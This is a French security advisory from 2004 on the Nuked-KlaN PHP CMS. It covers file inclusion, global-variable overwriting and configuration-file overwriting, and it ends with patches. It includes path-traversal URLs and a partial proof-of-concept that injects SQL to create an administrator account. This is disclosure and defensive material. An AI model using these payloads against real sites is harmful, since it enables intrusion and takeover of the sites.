Nuked-KlaN ********** Informations : °°°°°°°°°°°°°° Langage : PHP Version : b1.5, b1.4 (et moins?) Website : http://www.nuked-klan.org Problème : - Ecrasement du fichier de configuration - Inclusions de fichiers internes - Redéfinitions des variables globales Developpement : °°°°°°°°°°°°°°° Nuked-KlaN est un CMS complet avec plusieurs modules et permettant le rajout d'autres encore, bref du style PHP-Nuke. Au début du fichier index.php, on voit que le fichier nuked.php est inclut : ---------------------- include ("nuked.php"); ---------------------- Dans ce fichier nuked.php, on voit les lignes : --------------------------------------------------- [...] include ("conf.inc.php"); [...] if ($user_langue == ""){$language=$nuked[langue];} else {$language=$user_langue;} include ("lang/$language"); [...] --------------------------------------------------- Un fichier "lang/$language" est donc inclut. Cette variable peut être modifiée par n'importe qui, par le biais de la variable $user_langue. On pourra donc inclure n'importe quel fichier du disque dur avec une url du type : http://[target]/index.php?user_langue=../../../../../file/to/view et ce dans les versions b1.5 et moins. Dans cette version b1.5 uniquement se trouvent plusieurs autres failles. Dans le fichier globals.php se trouvent les lignes suivantes : ------------------------------- [...] nk_globals('HTTP_GET_VARS'); nk_globals('HTTP_POST_VARS'); nk_globals('HTTP_COOKIE_VARS'); nk_globals('HTTP_SERVER_VARS'); [...] ------------------------------- La fonction nk_globals(), elle, est située dans le fichier nuked.php : --------------------------------------------------- function nk_globals($table) { if (is_array($GLOBALS[$table])) { reset($GLOBALS[$table]); while (list($key, $val) = each($GLOBALS[$table])) { $GLOBALS[$key] = $val; } } } --------------------------------------------------- Cette fonction va donc créer des variables globales dont les noms et les valeurs se trouvent dans la variable $table. Il se fait donc qu'ici les tableaux sont les variables passées en GET, POST, COOKIE et les variables SERVER. L'exécution de ces lignes dans globals.php a donc comme consèquence de transformer toutes les variables GET POST COOKIE en variables globales. Le problème vient du fait que cette fonction ne tiens pas compte du fait que ces variables sont peut-être déjà définies en global quelque part dans le script : elle écrase les anciennes valeurs. Si on arrive donc à inclure le fichier globals.php après la définition des variables de configuration (définies dans conf.inc.php) dans un fichier où est inclut nuked.php, on pourra alors les redéfinir à partir de l'endroit où est inclut globals.php dans le script et peut-être en faire quelque chose. Il se fait que c'est justement possible dans le fichier index.php où on voit par exemple le code : ------------------------------------------------------- [...] if($page!=""){$im_file="$page";}else{$im_file="index";} } if (is_file("modules/$file/$im_file.php") ){ include("modules/$file/$im_file.php"); }else{ include("modules/404/index.php"); } [...] ------------------------------------------------------- qui pourra inclure globals.php grâce à une url du type : http://[target]/index.php?file=..&page=globals On pourra alors redéfinir les variables de configuration dans tout le code qui suit. Ce dernier se résume à peu de choses : la fonction footer(). Mais globals.php peut aussi être inclut grâce à la première faille vue plus haut, par exemple avec l'url : http://[target]/index.php?user_langue=../globals.php ce qui est beaucoup plus grave car cela pourrait permettre de redéfinir les variables de configuration dans n'importe quel module ! Par exemple dans le module Suggest (modules/Suggest/index.php), on voit : --------------------------------------------------------------------------------------------------------------- [...] function add_sug($data) { global $user, $module, $nuked; opentable(); include("modules/Suggest/modules/$module.php"); $date=time(); $content=make_array($data); $sql=mysql_query("INSERT INTO $nuked[prefix]"._suggest." VALUES ('','$module','$user[0]','$content','$date')"); echo"
"._YOURSUGGEST."
"._THXPART."

"; redirect("index.php?file=$module",2); closetable(); } [...] --------------------------------------------------------------------------------------------------------------- Ainsi en changeant la variable $nuked[prefix], on peut insérer n'importe quel enregistrement dans n'importe quelle table. Ce problème peut être simplement utilisé avec un fichier PHP du style : ---------------------------------------------------------------------------------------------------------------------------- Nuked-KlaN b1.5 Create Admin url='".$target."/index.php?file=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_users%20(id,pseudo,pass,niveau)%20VALUES%20(12345,char(".ascii_sql($_POST["pseudo"])."),md5(char(".ascii_sql($_POST["pass"]).")),9)/*&module=Gallery';window.open(url);"; echo "



Admin should have been created."; }else{ ?>
Target :
Admin Nick :
Admin Pass :
---------------------------------------------------------------------------------------------------------------------------- pour créer un admin. Un dernier problème dans la version b1.5 est le fichier update.php. On y trouve le code : ---------------------------------------------------------------------------------- '; $fp = fopen('conf.inc.php', w); if (!$fp) die (sprintf('Erreur File Open','conf.inc.php','conf.inc.php')); fwrite($fp, $content); fclose($fp); [...] } [...] switch ($action) { [...] case"edit_config": edit_config($_GET['op']); break; case"update_config": update_config($_POST); break; case"install": install(); break; [...] } ?> ---------------------------------------------------------------------------------- Ce fichier peut lui aussi inclure n'importe quel fichier local grâce à la variable $langue. De plus la fonction update_config() peut servir à écraser le fichier de configuration, mettant le site down. Toutes ces failles fonctionnent quelle que soit la position de register_globals à cause de ce fameux fichier globals.php. Solution : °°°°°°°°°° Un patch est disponible sur phpSecure ( http://www.phpsecure.info ). Merci au webmaster et créateur de Nuked-KlaN, qui a réagit rapidement et efficacement. Dans globals.php, il faut remplacer les lignes : ------------------------------- nk_globals('HTTP_GET_VARS'); nk_globals('HTTP_POST_VARS'); nk_globals('HTTP_COOKIE_VARS'); nk_globals('HTTP_SERVER_VARS'); ------------------------------- par : --------------------------------------- if (!get_ini("register_globals")){ nk_globals('HTTP_GET_VARS'); nk_globals('HTTP_POST_VARS'); nk_globals('HTTP_COOKIE_VARS'); nk_globals('HTTP_SERVER_VARS'); } --------------------------------------- Ne faisaint exécuter nk_globals() que si register_globals=OFF. Et dans nuked.php, remplacer les lignes : ---------------------------------------------------- function nk_globals($table) { if (is_array($GLOBALS[$table])) { reset($GLOBALS[$table]); while (list($key, $val) = each($GLOBALS[$table])) { $GLOBALS[$key] = $val; } } } ---------------------------------------------------- par: ----------------------------------------------------------------------------- function nk_globals($table) { if (is_array($GLOBALS[$table])) { reset($GLOBALS[$table]); while (list($key, $val) = each($GLOBALS[$table])) { if (!isset($GLOBALS[$key])){ $GLOBALS[$key] = $val; } } } } ----------------------------------------------------------------------------- Ce qui ne donne une valeur à cette variable que si elle n'en a pas déjà. Et après les lignes : -------------------------------------------------- if ($user_langue == ""){$language=$nuked[langue];} else {$language=$user_langue;} -------------------------------------------------- ajouter les lignes : ----------------------------------------------------------------------- if ( eregi("\.\.",$theme) || eregi("\.\.",$page) || eregi("\.\.",$file) || eregi("\0",$theme) || eregi("\0",$page) || eregi("\0",$file) || eregi("\.\.",$user_langue) || !file_exists("lang/$language") ){ die("What are you trying to do ?"); } ----------------------------------------------------------------------- Ce qui empêche toute mauvaise inclusion de fichier. Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.phpsecure.info Date : 23/03/04